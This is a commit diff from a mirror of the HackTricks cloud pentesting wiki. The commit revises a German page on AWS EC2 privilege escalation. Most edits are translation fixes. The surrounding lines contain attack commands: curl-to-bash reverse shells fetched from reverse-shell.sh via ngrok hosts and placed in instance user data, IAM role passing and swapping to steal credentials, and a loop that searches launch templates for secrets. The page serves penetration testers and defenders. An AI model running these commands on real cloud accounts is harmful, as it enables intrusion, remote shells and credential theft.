mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 06:03:26 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -30,11 +30,11 @@ echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=E<instance-profile-name> \
|
||||
--iam-instance-profile Name=<instance-profile-name> \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Sei vorsichtig mit GuradDuty, wenn du die Anmeldeinformationen der IAM-Rolle außerhalb der Instanz verwendest:
|
||||
Sei vorsichtig mit GuardDuty, wenn du die Anmeldeinformationen der IAM-Rolle außerhalb der Instanz verwendest:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
@@ -59,7 +59,7 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
Um zu lernen, wie man **ECS-Dienste dazu zwingt,** auf dieser neuen EC2-Instanz ausgeführt zu werden, siehe:
|
||||
Um zu lernen, wie man **ECS-Dienste in dieser neuen EC2-Instanz ausführt**, siehe:
|
||||
|
||||
{{#ref}}
|
||||
aws-ecs-privesc.md
|
||||
@@ -72,7 +72,7 @@ Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:Re
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
Ähnlich wie im vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen **die IAM-Rolle einer kompromittierten Instanz ändern**, um neue Anmeldeinformationen zu stehlen.\
|
||||
Da ein Instanzprofil nur 1 Rolle haben kann, müssen Sie auch **`iam:RemoveRoleFromInstanceProfile`** haben, wenn das Instanzprofil **bereits eine Rolle hat** (häufiger Fall).
|
||||
Da ein Instanzprofil nur 1 Rolle haben kann, müssen Sie, wenn das Instanzprofil **bereits eine Rolle hat** (häufiger Fall), auch **`iam:RemoveRoleFromInstanceProfile`** benötigen.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -86,7 +86,7 @@ Wenn das **Instanzprofil eine Rolle hat** und der Angreifer **diese nicht entfer
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und über zusätzliche Berechtigungen oder einen bestimmten Instanzprofilstatus verfügen).
|
||||
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus besitzen).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
@@ -121,7 +121,7 @@ aws ec2 request-spot-instances \
|
||||
|
||||
Ein Angreifer mit der **`ec2:ModifyInstanceAttribute`** kann die Attribute der Instanzen ändern. Unter ihnen kann er **die Benutzerdaten ändern**, was bedeutet, dass er die Instanz **beliebige Daten ausführen** lassen kann. Dies kann verwendet werden, um eine **Rev Shell zur EC2-Instanz** zu erhalten.
|
||||
|
||||
Beachten Sie, dass die Attribute nur **geändert werden können, während die Instanz gestoppt ist**, daher sind die **Berechtigungen** **`ec2:StopInstances`** und **`ec2:StartInstances`** erforderlich.
|
||||
Beachten Sie, dass die Attribute nur **geändert werden können, während die Instanz gestoppt ist**, daher die **Berechtigungen** **`ec2:StopInstances`** und **`ec2:StartInstances`**.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -162,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` und `ec2:ModifyLaunchTemplate`** kann eine **neue Launch-Template-Version** mit einer **Rev Shell in** den **Benutzerdaten** und **jeder EC2 IAM-Rolle darauf** erstellen, die Standardversion ändern, und **jede Autoscaler-Gruppe**, die dieses **Launch-Template** verwendet und so **konfiguriert** ist, die **neueste** oder die **Standardversion** zu verwenden, wird die **Instanzen** mit diesem Template **erneut starten** und die Rev Shell ausführen.
|
||||
Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` und `ec2:ModifyLaunchTemplate`** kann eine **neue Launch-Template-Version** mit einer **Rev-Shell in** den **Benutzerdaten** und **jeder EC2 IAM-Rolle darauf** erstellen, die Standardversion ändern, und **jede Autoscaler-Gruppe**, die dieses **Launch-Template** verwendet und so **konfiguriert** ist, dass sie die **neueste** oder die **Standardversion** verwendet, wird die **Instanzen** mit diesem Template **erneut starten** und die Rev-Shell ausführen.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -180,7 +180,7 @@ aws ec2 modify-launch-template \
|
||||
|
||||
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
|
||||
|
||||
Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Startkonfiguration erstellen** mit einer **IAM-Rolle** und einer **rev shell** im **Benutzerdaten**, dann **eine Autoskalierungsgruppe** aus dieser Konfiguration erstellen und auf die rev shell warten, um **die IAM-Rolle zu stehlen**.
|
||||
Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch-Konfiguration erstellen** mit einer **IAM-Rolle** und einer **rev shell** im **Benutzerdaten**, dann **eine Autoscaling-Gruppe** aus dieser Konfiguration erstellen und auf die rev shell warten, um **die IAM-Rolle zu stehlen**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -200,7 +200,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
Die Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reichen nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, da Sie zur Anfügung der in der Launch-Konfiguration oder im Launch-Template angegebenen Rolle **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigen** (was eine bekannte Privilegieneskalation ist).
|
||||
Die Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reichen nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, da Sie zur Anfügung der im Launch Configuration oder im Launch Template angegebenen Rolle **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigen** (was eine bekannte Privilegieneskalation ist).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
@@ -235,7 +235,7 @@ Dieser Weg ist nicht besonders nützlich für privesc, da man einen Benutzername
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Da Launch-Vorlagen versioniert sind, könnte ein Angreifer mit **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** Berechtigungen diese ausnutzen, um sensible Informationen zu entdecken, wie z.B. Anmeldeinformationen, die in Benutzerdaten vorhanden sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren Launch-Vorlagen:
|
||||
Da Launch-Templates versioniert sind, könnte ein Angreifer mit **`ec2:describe-launch-templates`** und **`ec2:describe-launch-template-versions`** Berechtigungen diese ausnutzen, um sensible Informationen zu entdecken, wie z.B. Anmeldeinformationen, die in Benutzerdaten vorhanden sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren Launch-Templates:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
|
||||
Reference in New Issue
Block a user